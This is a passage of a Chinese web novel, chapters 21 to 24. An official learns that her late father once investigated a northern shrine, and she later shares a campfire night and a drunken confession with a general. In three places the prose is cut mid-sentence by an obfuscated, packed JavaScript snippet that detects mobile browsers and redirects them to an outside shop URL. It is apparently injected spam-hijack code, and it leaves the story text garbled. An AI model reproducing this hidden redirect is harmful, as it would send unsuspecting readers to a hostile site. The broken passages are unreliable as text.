季柠低头,将那卷祭文递给他:“将军看。” 宋昭接过,看得并不慢。季柠站在一旁,只觉得他靠得太近,身上那点风里带来的冷意和极淡的松木气都随着他翻页的动作一并压了过来,叫她原本因祭文而发冷的心口,竟莫名又生出一点别样的紧绷来。 “太完美了是吗?”宋昭终于开口。 “像预拟。”季柠点头,“而且这三十七人的名字顺序,与您先前给我的那份旧册完全一致。” 宋昭却没有立刻接话,只将那卷祭文轻轻合上,偏头看向她。 “继续查。”他低声道。 季柠刚要说什么,门边那位守祠老人却已拄着扫帚慢慢走近。他大约是上了年纪,走路极轻,连鞋底摩擦地面的声音都不大。方才屋里太静,季柠竟没听见他什么时候站到了门边。 老人眯着眼,看了看她手里的祭文,又看了看她,目光落在她眉眼上时,忽然停了一停。 “你……”他开口,声音苍老而缓,像旧木门转动时发出的轻响,“你也姓季?” 季柠心口一跳,下意识点了点头。 老人盯着她看了好一会儿,像是在从她脸上找什么。窗外风吹进来,吹动祭文边角,也吹得他花白胡须轻轻晃了一下。过了片刻,他才慢慢道: “八年前,也有一位姓季的礼部官来过这里。” 21. 父亲来过 “那位……是不是季怀川?” 季柠问出这句话时,声音轻得很,指尖已经不自觉扣进了那卷旧祭文的边缘,薄薄纸页在她手里发出一点极轻的摩擦声。 守祠老人站在门边,随即那双被岁月压得有些浑浊的眼睛里慢慢浮起一点了然。他年纪大了,动作和说话都比旁人慢些。此刻他把手里的旧扫帚靠到墙边,眯着眼又看了看季柠,目光在她眉眼间停留了片刻,才缓缓道:“季怀川……多半就是了。” 季柠只觉得心口猛地一紧,像被什么东西攥了一下。 “我是他女儿。”她几乎是立刻接了下去,“他当年在礼部任员外郎,后来……后来病故了。您方才说八年前来过这里的季大人,是不是他?” 老人点了点头,神色里倒没多少惊讶:“我一开始也不敢认。只是这些年里,再没有别人来问过当年的那批旧档。你今日一进祠里便先问景和九年的祭文和送入祠中的卷册,我便先想起了那位季大人。后来在外头又听见他们喊你也是季大人,我心里大概就有数了。” “那时候刚把那一批人的灵牌送进祠里没多久。”老人慢慢说着,目光不知不觉落到了正殿那一整墙牌位上,像是又看见了八年前那场风尘仆仆的旧事,“有一日清早,外头来了几个人,都是官身打扮,衣裳上还带着赶路的土。为首的那位,就是季大人。他说自己从礼部来,想看一看这批送进祠中的档案和祭文副本。老头子我那时只当这是朝廷例行来核验,倒也没多想。毕竟人死了,入祠、立牌、记名,这些总得有人来过目,算不得多稀奇。” 季柠静静听着,呼吸却不自觉放轻了些。她眼前慢慢浮起父亲的样子。那时候他大约还没有后来病倒时那样消瘦,仍旧是她记忆里那个腰背挺直、衣袖总带着淡淡墨香的礼部员外郎。 老人还在往下说:“季大人他们并没同我讲为什么查,只说礼部要核一核。可我瞧着,倒不像寻常走个流程。他们在祠里待了几日,白天看卷宗,晚上也不走,就在偏屋里点着灯,一页一页地对。你父亲——” 他顿了顿,似乎在回忆那张隔了多年的脸。 “他是个脾气很好的人。”老人终于道,“旁人查东西,若查不着,多少要烦躁几句,他却从不发火。祠里后头漏雨,他还同我一道挪过木箱。那几日天冷,他看我咳嗽,临走前还留了一包药,说煎水喝能缓一缓。我不识什么药材,只记得味道苦,喝了却真管用。” 这几句话落在季柠耳里,这桩冷冰冰的案子忽然就有了人的温度。八年太久,久到她已经有些记不清父亲最后那段时日除了病色之外还有什么神情。可老人随口说出的这几件小事,却又把那个她从小仰望的人,一点点从尘灰和旧纸底下拂了出来。 “他们后来查完了档就走了。”老人说到这里,声音慢慢低下去,“走的时候我问过一句,说京城来的官爷们怎么大老远还要往北边去。季大人只笑了笑,说事情还没完,他们还得去北境。” 北境。 这两个字轻轻落下,却像一粒石子砸进早已不平的水面里。 季柠垂下眼,忽然觉得喉咙有些发紧。她原本知道父亲死前最后碰过那批北境旧军册,也知道宋昭从宫里抄出来的那一页军册将线头直接牵到了北境。可她心里总还有一层模模糊糊的不踏实,像是觉得自己一路被卷上来,始终是凭那些残页碎字往前摸。直到这一刻,她才确定父亲当年也确实走过这条路,从京城到北境,从礼部到旧祠,一路追着那一批死者的名字到了这里。 她原来不是在凭空追一个虚无缥缈的影子。 老人将该说的说完,便安静下来。屋中一时只剩香火气、旧纸味和从窗缝里透进来的风。季柠低头站了一会儿,才慢慢朝老人行了一礼。此刻胸口堵着,一句圆滑的话都想不出来,只低声道:“多谢您告诉我这些。” 老人摆了摆手:“我也只记得这些了。其余的,他们查到了什么,后来又去了哪里,我一个守祠的老头子,便真不知道了。” 季柠点头,没有再问。她把那卷旧祭文合上,重新放回木架,指尖在纸页边缘轻轻拂过,像是在替多年以前父亲曾翻过的那些字也一并按平。做完这一切,她才慢慢转身出了偏屋。 外头风比方才更凉了些。 祠前那几株老柏仍旧沉沉立着,枝叶在风中发出低低的声响。院中亲兵和将领大多已散去,只剩零星几人还在偏殿外候着。季柠站在阶前,一时竟不知道自己该往哪里去。她原以为,自己一路北上是为了查案,可真在这里摸到了他走过的痕迹,她心里头翻起来的,反倒是一种隔了八年才迟迟赶上的难受。 她想起父亲病倒之前那个冬夜。母亲在灯下替他缝袖口,季柠趴在一旁的案上装作写字,实则一直偷看他。父亲那晚回来得很迟,肩上还落着雪,进门时先把她抱起来,问她近日背的书有没有偷懒。那时候她还小,只觉得父亲总有忙不完的礼册,也总觉得他既然那样厉害,便理应一直都在。 可后来他真的不在了。 她在礼部、凶礼司一路熬到今天,嘴上总说是为了一口俸银,可她心里其实一直都清楚,自己是想离父亲近一点,再近一点。哪怕只是坐在他当年坐过的案前、翻他当年翻过的旧档,也好像能证明些什么。 风吹得她眼睛有些发涩。她把脸微微偏开,正想着一个人待一会儿,身后却忽然传来宋昭的声音。 “跟我来。” 季柠回头。 宋昭就站在几步之外,背后是旧祠高高低低的屋檐与风里晃动的柏影。只是这样看着她,语气平平,甚至带着一点惯常的不容商量,仿佛她此刻所有想往旁边躲一躲的念头,都不会得到半点儿纵容。 若换作平时,季柠大概早就要拿一句好大的官威来回他了。可不知为何,此刻听着这三个字,她竟莫名有点说不出话来,只低头跟了上去。 宋昭带她去的是旧祠后头的山坡。 那地方比前殿更静,坡上草色微青,风一吹便齐齐伏下。再往远处看,是一片连着一片的北地山脉。坡上立着几块旧碑,碑文大多已被风磨得模糊,只能依稀看出是景和年间那几场战事的记载。祠后的风更大些,吹得人衣袂猎猎作响。 宋昭停在一块最高的旧碑前,没有立刻看她,只是望着远处的山脉,开口道:“景和元年,北境有一场旧战。” 季柠抬起眼,没说话。 “那一战死了很多人。”宋昭像是在说一件早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548105|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已烂熟于心的旧事,“朝廷后来给了极高的哀荣,祭文、谥号、抚恤、入祠,一样不少。旁人提起来,都说那是一场大胜。” 他说到这里,微微顿了一下。风从他肩后掠过去,将那身深色衣袍吹出极利落的一道弧,越发显得他整个人像同这片山地生在一处。 “那一战里,许多人我后来再没能见到。有父辈旧交,也有北境旧部,还有教我识字习武的先生。”他的语气始终没有什么起伏,可季柠却能清楚地听出,这些名字早被压在他心里许多年,久到连提起时都不必再带情绪,因为情绪早已在漫长岁月中烧尽,只剩下一层冷而钝的硌人感,“我小时候并不懂,只记得那年灵柩一车车从北边运回来,城中挂了很久的白。后来年纪大些,去看旧军册、战报和抚恤名录,才发现那里面有许多说不通的地方。” 风吹过来,带着山野里未散尽的寒意。 季柠站在他身侧,忽然有些明白,为什么他会把自己带到这里来。不是因为她需要安慰,也不是因为他忽然生出什么多余的怜惜。宋昭这个人,他不会像旁人那样说几句软话来哄人。他若想让一个人知道“你不是一个人”,他的方法便是把自己那道一直藏着的伤口也掀开一点,叫你亲眼看一看。 他在查的,也是一桩属于他自己的旧伤。 过了许久,季柠才低声道:“所以你才会查到我父亲的事,还让我参与进来。” 宋昭这才偏过头,看了她一眼,那目光落下来时,比平日少了几分锋利,多了点不易察觉的温柔。 “是。”他说,“现在看来,你父亲当年也走到了这条线上。” 季柠轻轻吸了口气。 她不知道自己此刻脸上是什么神情,她知道若宋昭这时再多说一句什么,她大概真会有些撑不住。可他只是站在她身侧,与她一道看着远处那片沉沉叠起的山。季柠没说话,只觉得眼睛有些发热,便把脸微微偏开,像是专心去看山坡下那一片随风起伏的草色。 两人又在坡上站了一会儿,直到风越发凉,远处霍青的身影沿着石阶快步上来,才打破了这片难得的安静。霍青一向走路带风,这会儿却在离两人几步远的地方停住了,像是也察觉到此刻这气氛不太像平日里能随意插进话的模样。他先看了看宋昭,又看了看季柠,最后才压低声音道:“将军,守祠的李老方才想起一件事。” 季柠心口微微一跳,立刻转头看向他。 霍青道:“李老说,当年那几位官身打扮的人离开前,曾在祠里留下一页借阅单。祠里的旧例是,谁调看了成册入祠的旧档,便得在纸上留个名字和去处。只是这些年没人翻那堆旧纸,他一时没想起来。刚才回去收拾供桌时,才在匣子底下翻着。” 说罢,他将一张折得极旧的纸递了过来。纸页边角发脆,折痕深得几乎要裂开,显然在香灰和旧匣里压了许多年。 宋昭先接过,随即垂眼展开。季柠站在他身侧,只看了一眼,呼吸便微微一顿。 借阅单最底下,果然有一列名字。 为首那一行,写着:礼部员外郎,季怀川。 而去处一栏,字迹已被水渍晕开大半,却仍勉强辨得出后头那两个字—— 鹿鸣。 22. 篝火 借阅单上那两个模糊得几乎只剩轮廓的“鹿鸣”,像一枚钉子,钉死了二人这一路北上的所有猜测。 季柠站在坡上,手心里还残留着方才纸页被风吹凉后的硬意,心里却已比方才更清楚了几分。若说先前那些线头只是零零碎碎地在她眼前碰到一处,那么如今,父亲、景和九年的旧军册、那三十七人的名单、望陵旧祠里格式过于工整的祭文,以及借阅单上去处栏里那两个字,已经足够将一个方向明明白白地指出来。 鹿鸣。 这个地方,非去一趟不可。 宋昭显然也作同样想。他将那张借阅单重新折好收进袖中,目光从远处山脉间收回来时,已恢复了惯常那种的冷静。“再走两日,”他说,“便进北境主城。回主城之后,把该调的册档、人手、边哨和路引都备齐,再去鹿鸣。鹿鸣在北境最北边,再往前便是异族的地界,眼下不宜贸然过去。” 季柠点了点头。她这会儿心思还压在方才老人提到的父亲身上,反应略慢,过了一瞬才察觉天色已不早。宋昭见她站着不动,目光在她被风吹得微乱的鬓发上停了一下:“今日就到这里。按惯例,今晚是入北境前最后一站整修,营里会放开一夜,不必太拘着。你这几日抱着旧案看得眼睛都快长进纸里了,回去歇一歇。” 霍青在旁边听着,立刻接过话来:“季大人还是快回去吧,再不去,那边烤全羊怕是要被人连骨头都抢干净了。北境这些兵好不容易有一夜松快,喝起酒来跟打仗似的,手慢一点连羊油都捞不着。” 他说得绘声绘色,末了还做出个夸张的抢肉姿势,倒把方才祠中那点沉重压下去不少。季柠听得想笑,心口那股因父亲旧迹而生出的发涩也被这两句活气冲散了些。 她于是把那点仍未全散的心事先压了压,跟着宋昭和霍青一道往营地去了。 营地扎在望陵旧祠下方不远处的一片平缓坡地上。暮色将落未落,天边还悬着一点被云层压得发白的残光,营中却已早早燃起了篝火。十几堆火光分散着亮在各处,火舌舔着木柴往上窜,偶尔爆出一两声清脆的噼啪。几只整羊被架在火上,皮烤得发亮,油脂一滴滴落进炭火里,立刻腾起浓郁而辛辣的香气。孜然、胡椒、粗盐与羊油混在一起,被北地的风一卷,整个营地都像被裹进了一层暖而厚重的烟火气里。有人正抱着酒坛子大笑,有人蹲在火边翻肉,有几个年轻些的兵甚至已经开始较劲似的争谁先抢到羊腿,闹腾得比白日行军时鲜活了不知多少。 季柠站在营边,一时竟有些不知该先看哪一处。 她平日里虽也同这些人一道北上,偶尔还会借着查册的由头和谁说上几句,可那到底只是是同路。如今一眼望过去,篝火下都是男人,笑声、酒气、烤肉香、兵刃卸下后随意搭在地上的冷铁气息全揉在一起。她到底是礼部出身的女官,哪怕这些日子一路同行,眼下骤然被这样一大片热闹围住,还是难免有些不自在。 她还没来得及想好是先往哪一堆人少的火旁挪,还是索性先回车边躲一躲,便觉手臂被人轻轻一拽。 那力道不容她多想,已带着她往营地更里头走去。 “跟我来。” 宋昭的声音落在耳边,仍旧是平日里那种不带多余情绪的低沉,动作却比话更直白。他直接把她从营地外围那一圈喝得最热闹的人堆里拽了出来,径直带进最里头一处较小的火堆旁。这里人果然少些,围坐着的不过五六人,秦岐、霍青都在,另有几个年纪稍长的老兵和跟着多年的亲卫。火堆烧得旺,羊肉也有,却没有外头那种恨不得连酒坛子都摔了图个响的疯劲儿,更多的是一种熟得不能再熟后才有的松快。 宋昭把她带到最里侧的位置坐下,自己也顺势坐在她旁边。季柠低头理了理衣摆,又下意识抬眼看了看四周,见这些人虽都看向自己,目光里却没多少打量,更多的是一种早知道你要被将军拎过来的了然,心口那点紧着的劲儿才慢慢松了些。 霍青最先看着她笑:“如何?这边是不是清净多了?外头那几堆让他们疯去吧。那帮人喝了酒就只知道嚎,等会儿连羊骨头都能拿来抢。我们这堆人年纪大些,没那精力同他们闹腾,也省得把季大人吓着。” 秦岐闻言先翻了个白眼:“你也好意思说自己年纪大。我瞧你方才在外头还惦记那只烤羊腿惦记得很。” 霍青被噎了一下,随即理直气壮地道:“羊腿是好东西,谁不惦记?我只是不像他们那么没出息,见着吃的跟饿狼似的。” 他话音刚落,旁边一位脸上有道旧刀疤的老兵便“嗤”地笑了一声,顺手从火上转着的全羊上片下一大块肉,放进木盘里,又撒了些盐和粗胡椒,这才将盘子递到季柠面前:“季大人先尝尝。刚烤透的这一块最嫩,别回头真叫那群混小子抢光了。” 季柠一愣,下意识去接:“多谢。” 那老兵大概是个极爱逗人的,嘴里啧啧两声:“你们瞧,今日倒是稀奇。我先顾着季大人了,连将军都忘了,回头不会被记仇吧?” 这一句引得火堆旁几人都笑了起来。 霍青最先接话:“你忘了将军不要紧,别忘了给我留一口。” 旁边另一位亲兵趁势补刀:“也就是季大人在这儿,你们才敢拿将军打趣。若换平日,将军一个眼神过去,你们连羊都不敢多嚼。” 霍青立刻不服:“那也得看谁在旁边。季大人来了这一路,咱们将军的脾气都比从前像个人了。” 话一出口,旁边几人笑得更厉害。秦岐甚至都懒得抬头,只慢条斯理地给自己倒酒。 火光映着这一张张晒得发黑、带着风霜痕迹的脸,把笑意与疲惫一并照得鲜活。季柠原本还有些拘着,可在这样一片半真半假的打趣里,竟也慢慢被带松了下来。她低头咬了一口羊肉,外头一层烤得焦香,里头却仍旧嫩得很,油脂混着胡椒和粗盐在舌尖一炸,热意立刻顺着喉口一路往下滚,把连日行军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548106|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沾上的寒意都冲淡了不少。 宋昭坐在一旁,自始至终没参与这些调笑。他只是伸手将一只空杯推到她手边,又顺手把酒坛挪近了些。 季柠装作没察觉,给自己斟了一点酒。酒是北地最寻常的烈酒,闻着带股呛人的辛辣气。她平日里酒量算不上差,可这一路风尘、旧案压心,又刚从父亲旧祠出来,几口热酒下肚,脸颊便很快有了热意。 人一轻松,胆子便也大了一点。 也不知是酒劲儿,还是方才那几句“将军如今像个人了”在耳边绕着没散,季柠捧着酒杯,忽然便偏头看向火堆对面的几人,笑着问了一句:“我倒有些好奇,将军在你们眼里,到底是个什么样的人?” 这一句一出,火堆旁静了一瞬,随即众人脸上的神情都精彩起来。 霍青最先笑出声:“季大人这是当面问我们敢不敢说实话呢。” 秦岐端着酒,凉凉道:“敢说实话的人,这会儿大概都在外头抢羊腿。” 那位刀疤老兵摸了摸下巴,先抬眼看了宋昭一眼,见他并没有制止的意思,胆子顿时大了几分:“要我说,将军这人,头一样就是记性太好。你若在军中立过一次像样的功,他能记你到回乡;你若给北境军丢过一次人,他也能记你到死。” 旁边一名亲兵立刻接上:“还护短。自己人犯了错,他骂得比谁都狠,可若旁人欺到咱们头上,他也是真一点不讲理。我前年在边市同人起冲突,按理本是我莽撞,可那边商队嘴里不干净,将军知道了,连夜把那家主事拎来,叫他当着全营的面把话咽回去。那之后边市里再没人敢拿北境军找乐子。” 霍青听得连连点头,顺势道:“护短是真。嘴硬也是真。你若伤了,他先骂你不长脑子,再让秦岐半夜爬起来给你缝伤。你若饿着,他先说你废物,转头就叫伙房给你多留一碗肉。总之,将军这人,骂归骂,记着的事却从不少。” 秦岐本不大爱参与这种夸将军的场面,奈何酒喝得热了,脸上的不耐烦也就淡了些,冷哼一声道:“在我这里,就一条——不肯好生吃药!嘴上说嫌苦,心里头想什么,鬼知道。” 这话说得巧,明明像是在数落,里头却又不自觉带出一点只有极熟之人才会有的纵容来。火堆旁几人都笑,连宋昭都只是抬眼看了秦岐一下,竟没说什么。 季柠捧着酒杯,听着他们一句一句往外倒,心里也像被什么东西慢慢填满了。 她不由得抬眼,看了宋昭一下。 火光正落在他侧脸上,将那原本偏冷的眉目照出一点难得的暖色。他手里端着酒,却喝得不多,眼神也一如既往地沉静,仿佛火堆旁这些越说越没边的话都同他无关。 宋昭察觉到了她的打量,他偏头与她目光轻轻一碰,神色未动,只淡淡问了一句:“看什么?” 季柠酒意微醺,胆子也比平日更大了些,竟没立刻挪开视线,只笑了笑:“看将军到底长了几张面孔。” 23. 你别走 火堆旁瞬间又是一阵哄笑。 霍青更是拍着膝盖道:“季大人这话问得好!我们也想知道,将军平日里冷着一张,背地里却总干些叫人牙酸的事,到底是几张面孔。” 宋昭终于皱了下眉,眼底却没有多少真正的恼意,只将手里的酒盏往案上一放:“你们今日话都很多啊。” 那位刀疤老兵最会看人脸色,一见将军这副神情,便知道这已经算是极宽和的警告了,忙拿刀又割了一大块肉往季柠盘子里放:“季大人别光问话,多吃些。回头将军若真恼了,我们几个可不敢替你挡。” 季柠也笑,顺手拿起那盘新割下来的羊肉。她平日里在官署中总记着规矩,连笑都得算着分寸,这会儿被火光和酒气一烘,竟也少了许多平日里的拘谨,眉眼一弯,整个人都亮了不少。 大概是真有些喝上头了,她后来又接连喝了两杯。北地的酒烈得很,初入口时还觉着只比京中烧刀子更辛一些,后劲却像火一样慢慢从喉口烧到心口,再从心口一路烘到脸上。待她再低头去看手里的酒时,便觉得那酒色都比方才深了些,火堆也似乎更暖了些。 宋昭看在眼里,眉头微不可察地动了一下,却仍旧没有立刻拦她。直到她伸手去够第四回酒坛时,他才不着痕迹地将酒坛往自己这边挪了半寸。 季柠看着被移远的酒坛,有些不满。她心里哼了一声,到底没同他争,转而捧着茶盏慢慢喝了两口,眼神却比方才更亮了些,显然酒劲已经开始上来了。 她这样子,外人看不出来,火堆旁这几人却看得分明。霍青最先咳了一声,把笑意压下去些,道:“将军,再喝下去,季大人怕是要把北境这一路的旧账都问干净了。” 季柠撑着下巴,眼睛因为酒意带了点水光,她偏头去看宋昭,见他仍旧是那副神情,那点淡淡的红意也不知是酒意还是火色,竟叫他比平日里多了几分平常不肯露出来的生动。 她看得有些久了,宋昭终于偏头,低声道:“季掌簿,再看下去,肉都凉了。” 这话里头却带了点极淡的无奈,像是她问什么都由着她,闹到这一步,也还是只肯拿一句肉凉了来轻轻把她往回拽。 不知为何,季柠忽然就觉得心口发软。 这一晚的篝火烧得很久,火堆旁的人一拨拨散去,外头那几堆还在热闹,这一小堆却始终安稳。到后来连秦岐都被人叫去看一个喝多了摔破额头的亲兵,只剩霍青还在有一搭没一搭地说些北境旧事。季柠原先还听得认真,到了后头便有些发懵,只觉得火光、酒气和人声全都慢慢糊到了一起,像被风揉开了边界。 宋昭看了她片刻,终于起身:“够了。” 霍青抬眼,见季柠脸上那点酒意压都压不住了,顿时很识趣地笑了:“也是,季大人今日跟着咱们这些大老粗闹了一晚,怕是早累了。将军快带她回去歇着吧,明日还得赶路呢。” 旁边那刀疤老兵正往火里添柴,闻言先是一乐,随即也跟着起哄:“将军亲自送人,这可比咱们北境的羊腿还稀奇。季大人,下回再想喝酒,还是坐我们这堆。” 众人一阵低笑。 宋昭伸手把季柠面前那只早已空了的酒盏挪开,又顺势将她手边散着的簿册一并合上。 “走。” 季柠倒也还认得路,只是站起来时脚下稍微晃了一下。她平日里最不喜欢在人前露怯,这会儿却因酒意上头,反应慢了半拍。宋昭已先一步扶住了她的手臂,掌心隔着衣料落下来,力道稳得不容人挣。她抬头看他,眼里还有未散尽的酒意,模模糊糊地觉得这人今日似乎格外近,近得连他睫毛投下来的影子都看得见。 “我自己能走。”她嘴上还不肯服软。 “嗯。”宋昭答得很敷衍,手却半点没松。 这副样子,霸道得几乎有点不讲道理。 从火堆到帐篷不过一小段路,夜风里却比方才更安静了些。热闹都留在身后,笑声、酒气、烤羊的香味和火光一并被抛在夜色里。季柠被他扶着,走在半明半暗的营地中间,只觉得心跳比方才喝酒时还乱。她说不清是酒意,还是因为那只始终没松开的手。 到了帐前,宋昭替她掀开帘子,低声道:“进去。” 季柠原本真该乖乖进去、躺下、睡觉,待明日一早起来再装作今夜什么都没发生过。可酒这东西一旦上头,往往最容易把人平日里压着不说的话都勾出来。她站在帐门口,看着宋昭,便没有立刻进去。 “宋昭。”她第一次这样直接叫他的名字,声音比平日软一些,尾音还带着一点酒后才有的柔软。 宋昭明显一顿。 这样连名带姓的呼唤还是头一回。 “进去。”他声音哑的厉害。 季柠却没动,反而抬手抓住了他的袖口。 “你为什么一边防着我,一边又对我这么好?” 她说这句话时,声音软得像一层温热的酒气,轻轻贴在人心口。平日里那个圆滑的季掌簿,这会儿像是被酒意褪掉了一层皮,只剩下一点藏了很久、连她自己都不愿承认的委屈和不解。 “你既然疑我,为什么还把我带在身边?为什么给我备车、备灯、备手炉,为什么在那么多人面前替我说话?” 这已经近乎含着一点不自知的撒娇了。 宋昭整个人都僵了一下。 他从没被这样贴着他袖口、带着酒气问“你为什么对我这么好”。他心里那点一向稳得像城墙的东西,竟被她这几句话搅得乱了节奏,连耳根都在不知不觉间一点点热起来。 “季柠。”他声音比平日更低,甚至带了点从未有过的紧绷,“松手。” “我不。”她这会儿酒劲上来了,像个闹脾气的小姑娘,抓着他的袖口,眼神固执得很,“你先答我。” 宋昭低头看着她,只觉得喉咙有些发紧。她离得太近,近得他能闻见她发间混着酒意和风的气息,也能看见她因微醺而泛红的脸颊。这样近的距离,足够让他心里那点原本还能装作没察觉的异样,一点点全浮上来。 可他又不确定。 不确定自己对她这一路的关注到底算什么,也不确定她此刻这些近乎胡搅蛮缠的话,明日醒来还记不记得。 于是他只能尽力让自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548107|204238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音听起来仍旧稳一些:“防着你是真的,护着你也是真的。现在你满意了?满意了就去睡觉。” 这话一出口,他自己先觉得心口一震。 季柠却像终于得了答案,愣愣看了他两息,随即竟慢慢笑了。她抓着他袖口的手却没松,只轻轻晃了一下,像是醉得更厉害了:“你看,你明明就对我好。” 宋昭耳根更热,连带着脸上那点平日里怎么都不肯露出的窘意都快压不住了。眼下对着一个醉得眼神发亮、还偏偏不肯松手的季柠,竟第一次生出一点不知所措来。 他想走,袖口又被拽着。想再冷下脸,她眼里那点因为酒意而生出的依赖却偏偏像只小钩子,轻轻一勾,便把人心底最软的地方勾出来半截。 最后他只得认命地扶着她坐到榻边,声音也一点点放软下来:“你先躺下。” “那你呢?”她抬头看他,眼尾被酒气熏得微红,问得极自然。 “我等你睡了再走。” 她像是终于被哄住了,慢吞吞地“哦”了一声,松开他袖口之前却又像不甘心似的,在那皱了的布料上轻轻蹭了一下。宋昭只觉得那一下直接蹭在了他心脏上。 季柠躺下后,还睁着眼看他。宋昭被她看得没法,只得替她把被角掖好,又把帐边那盏灯调暗了些。灯火一低,帐中便只剩下暖黄而柔的光。外头的风声、远处残余的笑闹、还有营地里未彻底散去的酒香,都被这一层帐布隔在了外面。 “闭眼。”他低声道。 季柠这会儿倒意外地听话,只是闭眼之前还低低咕哝了一句:“你别总凶我。” 宋昭动作一顿。 他想说自己何时真凶过她,可话到嘴边,终究还是没说出口。只伸手在她发顶极轻地碰了一下,像安抚,又像试探,随后低声道:“不凶。睡吧。” 大概是酒意终于压过了心事,也大概是那只一直紧绷着的心在今夜终于有了能安稳靠一靠的地方,季柠这回当真没再闹,呼吸一点点平了下去。帐中灯火摇晃,映着她安静下来的眉眼,先前那点锋利、圆滑和不肯退让都被睡意慢慢压了下去,只剩下难得的温软。 宋昭坐在榻边,看了她很久。 直到确定她是真的睡着了,才慢慢起身。可起身之后,他却没有立刻离开,只低头看了看自己被她抓得有些发皱的袖口,指尖无意识地在那里停了一下。 这一夜的风比前几日都冷,可他心口热意迟迟不散。他从前总觉得北境这些年最难守的是城,是粮道,是那些藏在文书和战报里的暗手。可到今日他才隐隐意识到,自己这一路上真正快要守不住的,是对她的心思。 他终于明白,为什么自己会在听见她在营门口与人争执时下意识赶过去,为什么会在篝火散后把她送回帐中,也为什么明明还在疑她,却已经越来越不愿将她往自己看不见的地方放。 帐外风声忽然一紧,吹得帐帘轻轻一动。宋昭收回目光,转身往外走。可走到帐门口时,他又停了一下,回头看了看榻上那道安静的身影。 夜色深沉,灯火微弱,她睡得很沉,仿佛什么都不知道。 24. 我就是那小肚鸡肠之人 季柠第二日醒得很早,她睁开眼时帐外天色才刚刚泛白。她躺在榻上,先是有片刻发怔,紧接着前一夜那些被酒意泡得发软、又被火光和人声烘得微微发热的片段,便极不讲理地一点点浮了上来。 她记起自己抓着宋昭的袖口不放,记起自己仗着酒劲儿问他对自己这么好,记起他低着声音哄她睡觉,甚至连自己最后是怎么松手、又是怎么昏昏沉沉睡过去的,都依稀还能从脑子里拽出个模糊影子来。 季柠躺在那里,眼睛一闭,只觉得后颈都跟着发热。她现在回想起来,只觉得自己简直像中了邪,恨不得用软枕将自己闷死才好。 帐外已经有了忙碌的动静。今日再往前走,用不了太久便能真正踏进北境主城。军中最忙的往往是这种将入未入、百事将落的时刻,样样都要重新归整。季柠听着外头亲兵来去的脚步声和偶尔掀帘报事的低语,知道自己便是再想装睡,也躲不过这一日的天光。 她于是起身,洗了把冷水脸,又对着铜镜把自己那点不争气的热意一点点压回去。镜中的人脸色比平日白些,眼下却还带着一点昨夜酒后的淡淡余红。她抬手在自己额角轻轻按了按,低声骂了一句没出息,这才整好衣襟,掀帘出了帐。 季柠磨磨蹭蹭的走到主帐门口,主帐的帘子半掀着,里头人不少。 季柠刚走到门口,便看见几名亲兵正抱着地图、箭囊和几只封得严严实实的木匣往外走,案上摊着的军报一卷卷压着石镇,旁边还放了两只北境常用的铜质沙盘。宋昭正立在主案后,身上已经换回了行路时常穿的那身深色劲装,袖口收得利落,晨光从帐门斜斜照进去,正落在他侧脸与肩背上,将那原本便锋利的轮廓越发映得清楚。 他正在同秦岐交代事情。 “进主城之后,让杜衡去城南最大的医馆。”宋昭低头翻了一页名册,“城南那边人最多,药材也最全,寒疾、冻疮、妇人和孩童的小病都往那里去。既然陛下让他随军北上,顺便留在北地诊治寒疾,那如今他该去做他该做的正事了。” 秦岐正抱着药箱站在案边,听了这话,眉心先是一松,紧接着又下意识皱起来:“可他毕竟是皇帝派来的人,您这样把他打发去医馆,是不是不太合适?万一回头宫里问起来……” 宋昭这时正好抬眼,看见了站在帐门口的季柠。 那一瞬,他眸底原本压着的冷意极轻地松了一下,唇边也有一抹几乎看不出来的弧度稍稍掠过,快得连旁人都未觉察得到。 宋昭很快便收回目光,神色重新落回了公事公办的冷静里,他对秦岐道:“皇帝让他来,是为我复诊旧伤,顺便留在北地诊治寒疾。我如今平安,一路上药也按他的方子开过调整过了许多次,现如今既然无须他日日守在我身边,那他去医馆坐诊,替北地百姓看病,便叫不负圣命。若有人问起,就照这话回。” 季柠站在门口,把这番话从头到尾听了个明白,忍不住垂下眼轻轻笑了一下。 她原先总觉得宋昭这个人做事太直,凡事都爱一刀劈开,不屑多绕半个弯。可如今看来,他只是平日里懒得去绕弯罢了。眼下这一招借皇命挪人,不声不响间便把“暴病身亡”的第二层隐患又掐掉了一截,确实做得很漂亮。 她心里那点因昨夜失态而生出的懊恼,这会儿倒不知不觉被冲淡了些。 帐中的人来来去去,很快便将该搬的箱匣都收拾得差不多了。霍青进来回了两句城门处的军报,秦岐抱着药箱和那几张留底的方子退了出去,两个亲兵也抬着一只沉木箱子出了门。待最后一个人掀帘离开时,帐中忽然便空了下来。 